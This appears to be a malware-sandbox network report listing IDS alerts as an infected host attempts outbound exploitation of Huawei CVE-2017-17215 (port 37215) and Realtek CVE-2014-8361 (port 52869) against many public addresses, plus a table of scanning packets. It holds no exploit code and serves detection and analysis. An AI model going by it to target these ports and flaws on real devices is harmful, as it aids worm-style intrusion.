2024-12-04T20:35:21.934154+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54084	197.127.179.152	37215	TCP
2024-12-04T20:35:21.934323+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57474	156.78.251.33	37215	TCP
2024-12-04T20:35:21.934594+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48462	156.0.23.114	37215	TCP
2024-12-04T20:35:22.152546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47944	41.11.147.112	37215	TCP
2024-12-04T20:35:22.152691+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34398	156.75.28.99	37215	TCP
2024-12-04T20:35:22.152828+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39766	156.2.173.101	37215	TCP
2024-12-04T20:35:22.153258+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34512	197.135.14.148	37215	TCP
2024-12-04T20:35:22.277826+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	58662	41.55.202.110	52869	TCP
2024-12-04T20:35:22.402550+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	34302	41.111.239.70	52869	TCP
2024-12-04T20:35:22.417971+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	36036	41.203.113.129	52869	TCP
2024-12-04T20:35:22.652386+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36486	41.123.37.16	37215	TCP
2024-12-04T20:35:23.168330+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44710	156.130.197.125	37215	TCP
2024-12-04T20:35:23.324511+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	58710	156.105.101.171	52869	TCP
2024-12-04T20:35:23.359246+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38466	156.227.142.233	52869	TCP
2024-12-04T20:35:23.559263+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	50296	197.24.113.231	52869	TCP
2024-12-04T20:35:23.918210+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34212	156.207.67.44	37215	TCP
2024-12-04T20:35:24.216310+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51790	156.232.72.218	37215	TCP
2024-12-04T20:35:24.231575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40430	41.66.112.232	37215	TCP
2024-12-04T20:35:24.231849+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50612	156.214.249.246	37215	TCP
2024-12-04T20:35:24.231852+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57720	156.110.93.37	37215	TCP
2024-12-04T20:35:24.231976+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60676	156.9.180.188	37215	TCP
2024-12-04T20:35:24.310110+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38330	41.225.66.130	52869	TCP
2024-12-04T20:35:24.332328+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45820	156.242.247.20	52869	TCP
2024-12-04T20:35:25.357137+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42822	41.145.96.97	37215	TCP
2024-12-04T20:35:25.465106+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42426	197.48.65.121	37215	TCP
2024-12-04T20:35:25.465331+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41920	41.3.18.238	37215	TCP
2024-12-04T20:35:26.434975+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	52650	41.201.161.5	52869	TCP
2024-12-04T20:35:26.450381+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	41862	156.115.25.114	52869	TCP
2024-12-04T20:35:26.450604+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	36870	156.45.7.170	52869	TCP
2024-12-04T20:35:26.450863+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	33476	41.62.2.151	52869	TCP
2024-12-04T20:35:26.451039+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	33636	41.252.216.54	52869	TCP
2024-12-04T20:35:26.465502+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	49990	197.161.238.36	52869	TCP
2024-12-04T20:35:26.730747+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56476	156.221.15.33	37215	TCP
2024-12-04T20:35:26.730876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50662	197.16.39.107	37215	TCP
2024-12-04T20:35:26.949580+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42330	41.55.178.199	37215	TCP
2024-12-04T20:35:27.026771+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45866	197.146.209.131	52869	TCP
2024-12-04T20:35:27.131544+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	37650	41.109.81.45	52869	TCP
2024-12-04T20:35:27.402784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39000	41.155.222.85	37215	TCP
2024-12-04T20:35:27.513313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45266	156.17.225.42	37215	TCP
2024-12-04T20:35:27.605560+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	42034	197.52.188.131	52869	TCP
2024-12-04T20:35:27.605705+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43498	156.206.72.202	52869	TCP
2024-12-04T20:35:27.731382+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	49488	41.161.128.201	52869	TCP
2024-12-04T20:35:28.636960+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	57454	197.44.216.232	52869	TCP
2024-12-04T20:35:28.636970+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	58582	156.58.217.31	52869	TCP
2024-12-04T20:35:28.648161+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	56332	41.81.128.144	52869	TCP
2024-12-04T20:35:28.648166+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	59446	156.117.131.39	52869	TCP
2024-12-04T20:35:28.648166+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	43910	156.131.182.238	52869	TCP
2024-12-04T20:35:28.648169+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	37170	41.201.115.28	52869	TCP
2024-12-04T20:35:28.648175+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	47118	197.158.14.52	52869	TCP
2024-12-04T20:35:28.762212+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	37870	41.62.97.137	52869	TCP
2024-12-04T20:35:28.762214+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	36056	156.128.213.240	52869	TCP
2024-12-04T20:35:28.762228+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	37842	41.241.119.223	52869	TCP
2024-12-04T20:35:28.762330+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45340	197.144.150.75	52869	TCP
2024-12-04T20:35:28.762350+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	54442	41.21.86.64	52869	TCP
2024-12-04T20:35:28.762361+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	40272	41.172.40.218	52869	TCP
2024-12-04T20:35:29.777527+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	54582	197.180.200.54	52869	TCP
2024-12-04T20:35:29.777547+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	47806	197.186.219.159	52869	TCP
2024-12-04T20:35:29.996349+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	44814	156.155.239.208	52869	TCP
2024-12-04T20:35:29.996414+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	39440	156.80.3.94	52869	TCP
2024-12-04T20:35:29.996551+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	45916	156.51.128.212	52869	TCP
2024-12-04T20:35:29.996607+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	57370	41.102.205.55	52869	TCP
2024-12-04T20:35:30.012470+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	53224	197.34.3.7	52869	TCP
2024-12-04T20:35:30.028085+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38264	156.70.64.131	52869	TCP
2024-12-04T20:35:30.746454+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	51294	41.216.217.159	52869	TCP
2024-12-04T20:35:30.746741+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	51282	41.143.182.37	52869	TCP
2024-12-04T20:35:30.746876+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35430	41.121.139.0	52869	TCP
2024-12-04T20:35:30.809052+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58750	156.221.199.198	37215	TCP
2024-12-04T20:35:30.809141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41236	156.202.73.183	37215	TCP
2024-12-04T20:35:30.902441+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42064	197.227.37.64	37215	TCP
2024-12-04T20:35:30.918316+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35392	156.198.152.213	37215	TCP
2024-12-04T20:35:31.061566+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42592	197.84.117.206	37215	TCP
2024-12-04T20:35:31.061934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60664	156.164.172.2	37215	TCP
2024-12-04T20:35:31.062328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38946	197.143.63.206	37215	TCP
2024-12-04T20:35:31.809533+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39974	156.203.177.231	37215	TCP
2024-12-04T20:35:31.825590+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50162	197.114.234.32	37215	TCP
2024-12-04T20:35:31.825654+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47714	41.78.130.107	37215	TCP
2024-12-04T20:35:31.825875+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45082	41.114.251.255	37215	TCP
2024-12-04T20:35:31.825998+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52766	156.48.235.240	37215	TCP
2024-12-04T20:35:31.826234+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33192	197.240.132.149	37215	TCP
2024-12-04T20:35:31.826268+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48548	197.53.132.193	37215	TCP
2024-12-04T20:35:31.840038+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37682	197.31.230.165	37215	TCP
2024-12-04T20:35:32.043138+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43640	156.200.142.84	37215	TCP
2024-12-04T20:35:32.043179+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55746	197.31.104.48	37215	TCP
2024-12-04T20:35:32.058898+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51594	197.247.189.144	37215	TCP
2024-12-04T20:35:33.043545+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59562	197.6.75.25	37215	TCP
2024-12-04T20:35:33.043581+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33842	156.53.147.140	37215	TCP
2024-12-04T20:35:33.043652+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42078	156.167.67.84	37215	TCP
2024-12-04T20:35:33.059311+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59338	41.19.203.199	37215	TCP
2024-12-04T20:35:33.277735+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42062	41.172.186.0	37215	TCP
2024-12-04T20:35:33.293587+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34650	197.230.207.228	37215	TCP
2024-12-04T20:35:34.543278+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39158	156.18.21.126	37215	TCP
2024-12-04T20:35:34.543327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34720	156.132.250.6	37215	TCP
2024-12-04T20:35:34.559694+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49332	156.212.119.57	37215	TCP
2024-12-04T20:35:34.559840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50040	156.67.238.235	37215	TCP
2024-12-04T20:35:34.560051+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44580	156.89.62.180	37215	TCP
2024-12-04T20:35:34.560344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50602	156.207.106.226	37215	TCP
2024-12-04T20:35:34.560716+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57730	41.76.235.175	37215	TCP
2024-12-04T20:35:34.560793+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46170	41.153.89.180	37215	TCP
2024-12-04T20:35:34.560978+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56794	156.211.102.64	37215	TCP
2024-12-04T20:35:34.561114+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46838	197.143.213.74	37215	TCP
2024-12-04T20:35:34.561328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45508	156.127.38.45	37215	TCP
2024-12-04T20:35:34.561553+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34360	156.138.17.29	37215	TCP
2024-12-04T20:35:34.561640+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33512	197.132.204.74	37215	TCP
2024-12-04T20:35:34.561804+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54266	41.8.174.199	37215	TCP
2024-12-04T20:35:34.561905+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44264	156.133.80.79	37215	TCP
2024-12-04T20:35:34.562158+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47128	41.251.141.151	37215	TCP
2024-12-04T20:35:34.562284+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57888	197.247.38.50	37215	TCP
2024-12-04T20:35:34.562459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46530	197.61.7.121	37215	TCP
2024-12-04T20:35:34.562573+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50924	197.174.88.231	37215	TCP
2024-12-04T20:35:34.562754+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56834	197.8.154.21	37215	TCP
2024-12-04T20:35:34.562962+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35060	41.7.217.186	37215	TCP
2024-12-04T20:35:34.563245+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51116	197.43.197.188	37215	TCP
2024-12-04T20:35:34.563658+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60372	41.252.138.210	37215	TCP
2024-12-04T20:35:34.563778+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35264	197.186.126.37	37215	TCP
2024-12-04T20:35:34.563889+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53618	156.35.116.226	37215	TCP
2024-12-04T20:35:34.564027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36580	197.148.122.171	37215	TCP
2024-12-04T20:35:34.564307+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58668	41.50.208.159	37215	TCP
2024-12-04T20:35:34.564387+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39490	41.204.102.198	37215	TCP
2024-12-04T20:35:34.564531+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45496	156.134.1.178	37215	TCP
2024-12-04T20:35:34.564692+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36966	41.217.237.99	37215	TCP
2024-12-04T20:35:34.778040+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49632	41.219.131.16	37215	TCP
2024-12-04T20:35:34.778230+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37400	197.43.238.222	37215	TCP
2024-12-04T20:35:34.794511+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40910	156.238.77.52	37215	TCP
2024-12-04T20:35:34.825210+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39918	156.184.212.183	37215	TCP
2024-12-04T20:35:34.825218+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55916	197.118.177.32	37215	TCP
2024-12-04T20:35:35.044010+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	38450	197.248.239.253	52869	TCP
2024-12-04T20:35:35.059131+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	57328	156.133.167.28	52869	TCP
2024-12-04T20:35:35.059383+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	32818	41.88.205.77	52869	TCP
2024-12-04T20:35:35.231790+0100	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	1	192.168.2.14	35686	156.226.83.37	52869	TCP
2024-12-04T20:35:36.060168+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47888	156.217.216.3	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 20:34:24.734446049 CET	60275	37215	192.168.2.14	156.0.70.59
Dec 4, 2024 20:34:24.734447956 CET	60275	37215	192.168.2.14	41.37.164.59
Dec 4, 2024 20:34:24.734447956 CET	60275	37215	192.168.2.14	197.153.67.226
Dec 4, 2024 20:34:24.734453917 CET	60275	37215	192.168.2.14	197.108.139.233
Dec 4, 2024 20:34:24.734463930 CET	60275	37215	192.168.2.14	41.250.8.226
Dec 4, 2024 20:34:24.734462976 CET	60275	37215	192.168.2.14	41.129.249.37
Dec 4, 2024 20:34:24.734463930 CET	60275	37215	192.168.2.14	41.33.14.34
Dec 4, 2024 20:34:24.734462976 CET	60275	37215	192.168.2.14	197.57.139.70
Dec 4, 2024 20:34:24.734463930 CET	60275	37215	192.168.2.14	197.180.84.103
Dec 4, 2024 20:34:24.734482050 CET	60275	37215	192.168.2.14	41.231.64.214
Dec 4, 2024 20:34:24.734522104 CET	60275	37215	192.168.2.14	156.40.218.232
Dec 4, 2024 20:34:24.734523058 CET	60275	37215	192.168.2.14	197.115.73.65
Dec 4, 2024 20:34:24.734523058 CET	60275	37215	192.168.2.14	197.43.220.124
Dec 4, 2024 20:34:24.734529972 CET	60275	37215	192.168.2.14	156.174.196.3
Dec 4, 2024 20:34:24.734529972 CET	60275	37215	192.168.2.14	197.130.193.94
Dec 4, 2024 20:34:24.734534025 CET	60275	37215	192.168.2.14	197.10.15.212
Dec 4, 2024 20:34:24.734548092 CET	60275	37215	192.168.2.14	156.85.130.57
Dec 4, 2024 20:34:24.734548092 CET	60275	37215	192.168.2.14	197.14.164.47
Dec 4, 2024 20:34:24.734548092 CET	60275	37215	192.168.2.14	41.160.181.219
Dec 4, 2024 20:34:24.734550953 CET	60275	37215	192.168.2.14	156.195.249.207
Dec 4, 2024 20:34:24.734550953 CET	60275	37215	192.168.2.14	41.63.47.107
Dec 4, 2024 20:34:24.734550953 CET	60275	37215	192.168.2.14	197.162.48.91
Dec 4, 2024 20:34:24.734559059 CET	60275	37215	192.168.2.14	41.136.42.214
Dec 4, 2024 20:34:24.734561920 CET	60275	37215	192.168.2.14	156.59.130.199
Dec 4, 2024 20:34:24.734576941 CET	60275	37215	192.168.2.14	156.93.205.83
Dec 4, 2024 20:34:24.734579086 CET	60275	37215	192.168.2.14	156.69.73.21
Dec 4, 2024 20:34:24.734579086 CET	60275	37215	192.168.2.14	41.27.125.125
Dec 4, 2024 20:34:24.734585047 CET	60275	37215	192.168.2.14	197.73.225.8
Dec 4, 2024 20:34:24.734585047 CET	60275	37215	192.168.2.14	41.75.108.78
Dec 4, 2024 20:34:24.734591961 CET	60275	37215	192.168.2.14	197.139.224.14
Dec 4, 2024 20:34:24.734592915 CET	60275	37215	192.168.2.14	156.252.69.210
Dec 4, 2024 20:34:24.734592915 CET	60275	37215	192.168.2.14	197.61.171.219
Dec 4, 2024 20:34:24.734605074 CET	60275	37215	192.168.2.14	156.54.3.253
Dec 4, 2024 20:34:24.734606981 CET	60275	37215	192.168.2.14	41.187.21.136
Dec 4, 2024 20:34:24.734606981 CET	60275	37215	192.168.2.14	156.131.104.76
Dec 4, 2024 20:34:24.734616041 CET	60275	37215	192.168.2.14	41.214.176.71
Dec 4, 2024 20:34:24.734616995 CET	60275	37215	192.168.2.14	197.137.0.191
Dec 4, 2024 20:34:24.734618902 CET	60275	37215	192.168.2.14	156.10.211.53
Dec 4, 2024 20:34:24.734618902 CET	60275	37215	192.168.2.14	156.148.183.228
Dec 4, 2024 20:34:24.734633923 CET	60275	37215	192.168.2.14	197.206.29.101
Dec 4, 2024 20:34:24.734635115 CET	60275	37215	192.168.2.14	156.79.112.182
Dec 4, 2024 20:34:24.734639883 CET	60275	37215	192.168.2.14	41.218.220.2
Dec 4, 2024 20:34:24.734643936 CET	60275	37215	192.168.2.14	41.117.58.167
Dec 4, 2024 20:34:24.734647036 CET	60275	37215	192.168.2.14	156.139.43.180
Dec 4, 2024 20:34:24.734661102 CET	60275	37215	192.168.2.14	156.226.153.126
Dec 4, 2024 20:34:24.734669924 CET	60275	37215	192.168.2.14	156.198.170.71
Dec 4, 2024 20:34:24.734669924 CET	60275	37215	192.168.2.14	41.105.198.238
Dec 4, 2024 20:34:24.734669924 CET	60275	37215	192.168.2.14	41.30.199.232
Dec 4, 2024 20:34:24.734673977 CET	60275	37215	192.168.2.14	156.25.248.194
Dec 4, 2024 20:34:24.734678030 CET	60275	37215	192.168.2.14	156.128.33.171
Dec 4, 2024 20:34:24.734682083 CET	60275	37215	192.168.2.14	41.232.105.157
Dec 4, 2024 20:34:24.734688997 CET	60275	37215	192.168.2.14	41.127.37.120
Dec 4, 2024 20:34:24.734699011 CET	60275	37215	192.168.2.14	41.219.89.104
Dec 4, 2024 20:34:24.734699965 CET	60275	37215	192.168.2.14	41.104.201.84
Dec 4, 2024 20:34:24.734702110 CET	60275	37215	192.168.2.14	41.205.120.6
Dec 4, 2024 20:34:24.734707117 CET	60275	37215	192.168.2.14	197.236.151.41
Dec 4, 2024 20:34:24.734707117 CET	60275	37215	192.168.2.14	41.9.128.115
